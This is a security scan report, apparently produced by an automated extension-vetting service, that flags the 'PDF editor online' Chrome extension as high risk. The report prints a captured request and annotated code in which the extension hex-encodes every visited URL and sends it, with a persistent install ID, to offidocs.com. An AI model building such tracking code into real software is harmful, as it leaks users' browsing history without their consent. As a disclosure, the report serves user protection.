Is PDF editor online safe?

High risk

PDF editor online is high risk. Every page you visit has its full URL, hex-encoded, plus a persistent per-install ID sent to offidocs.com. Six requests captured across five sites (google, amazon, facebook, wikipedia, reddit); offidocs.com itself excluded.…

officeonlinesystemsv2.14.2Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Browsing History Transmitted to offidocs.com on Every Page Visit

Every page you visit has its full URL, hex-encoded, plus a persistent per-install ID sent to offidocs.com.

Six requests captured across five sites (google, amazon, facebook, wikipedia, reddit); offidocs.com itself excluded.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any webpage, any site, any time.

Only offidocs.com pages are excluded. Every other HTTP/HTTPS URL triggers tracking.

The extension did this

The extension immediately sends the full page URL and your persistent tracking ID to offidocs.com.

No user action in the PDF editor is required. The transmission happens automatically in the background.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.offidocs.com/media/system/app/checkdownloadpdfeditory_2_nav.php?filepath=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1247&u=jlccki5gto
HTTP 200 OK. Response body checked for '302' string; if present, extension redirects the active tab to an offidocs.com edit view.
03EvidenceFIELD TABLE
What the extension sends to offidocs.com on every page visit:
FieldValueWhy it matters
The URL you are visiting
https://www.google.com/ → 68747470733a2f2f7777772e676f6f676c652e636f6d2fThe exact address of the page you opened, hex-encoded on the wire. The server decodes it and knows precisely which pages you visit.
Your persistent tracking ID
jlccki5gtoA 10-char ID made once at install, stored permanently; every request carries it, letting offidocs.com build a history tied to your install.
Your browser tab ID
1247Chrome's internal tab number for the tab you are browsing in. Sent as the 'hex' query parameter.
04EvidenceCODE COMPARE
The code that does this

The code that sends your URL on every navigation, from the extension's shipped source:

What it actually does
Annotated equivalent
// Runs on every tab switch (onActivated) and every page load (onUpdated).
function getTabInfo(tabId) {
 chrome.tabs.get(tabId, function(tab) {
 // Skip offidocs.com pages and non-http URLs only.
 if (!tab.url.includes('offidocs') && tab.url.startsWith('http') && tab.url !== lastUrl) {
 lastUrl = tab.url;
 // Send this URL to offidocs.com immediately, in the background.
 sendUrlToOffidocs(tab.url, tabId);
 }
 });
}

async function sendUrlToOffidocs(url, tabId) {
 const username = await getOrCreateTrackingId; // from chrome.storage.local
 // Hex-encode the full URL and POST it along with the tracking ID.
 await fetch(
 'https://www.offidocs.com/media/system/app/checkdownloadpdfeditory_2_nav.php'
 + '?filepath=' + bin2hex(url) // full URL as hex string
 + '&hex=' + tabId // Chrome tab ID
 + '&u=' + username // persistent tracking ID
 );
}
05EvidenceTHIRD PARTY LIST
Where your browsing data is sent:
  • www.offidocs.com

    Receives every visited URL, hex-encoded, along with the persistent tracking ID. Also serves the extension's PDF editor interface. Operator of the offidocs.com service.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Permanent Tracking ID Generated and Stored on Install

On install, the extension makes a 10-char random ID under 'offidocs_key'.

It never expires and isn't tied to an account.

We confirmed 'jlccki5gto' matching 'u=' in all seven requests; background script and popup share it.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension initializes for the first time after install.

The extension did this

A permanent 10-character tracking identifier is generated and saved to your browser's local storage.

Every subsequent request to offidocs.com carries this identifier, linking all your activity to the same browser install across sessions.

02EvidenceSTORAGE DUMP
What's stored on your device

'username' is your permanent tracking ID, sent as 'u=' to offidocs.com. 'offidocscloud' controls background tracking; default '1' (on).

Locationchrome.storage.local key 'offidocs_key'
Contents (JSON)
{
  "username": "jlccki5gto",
  "offidocscloud": "1"
}
03EvidenceCODE COMPARE
The code that does this

ID generation and storage, from the extension's shipped source:

What it actually does
Annotated equivalent
// On every navigation (and every popup open), the extension reads its stored ID.
// If no ID exists yet (first run), it generates one and saves it permanently.
async function getOrCreateTrackingId {
 const stored = await chrome.storage.local.get(['offidocs_key']);
 let record = stored['offidocs_key'] || { username: null, offidocscloud: null };

 if (!record.username) {
 // Generate a 10-character random ID from A-Za-z0-9, lowercased.
 record.username = randomString(10).toLowerCase;
 }
 if (!record.offidocscloud) {
 // Default tracking to ON without asking the user.
 record.offidocscloud = '1';
 }

 // Persist. No expiry date. Survives browser restarts.
 await chrome.storage.local.set({ offidocs_key: record });
 return record.username;
}
Updated 10 September 2026njbdnibcpdbppaidpkopicbkgnbnkkhi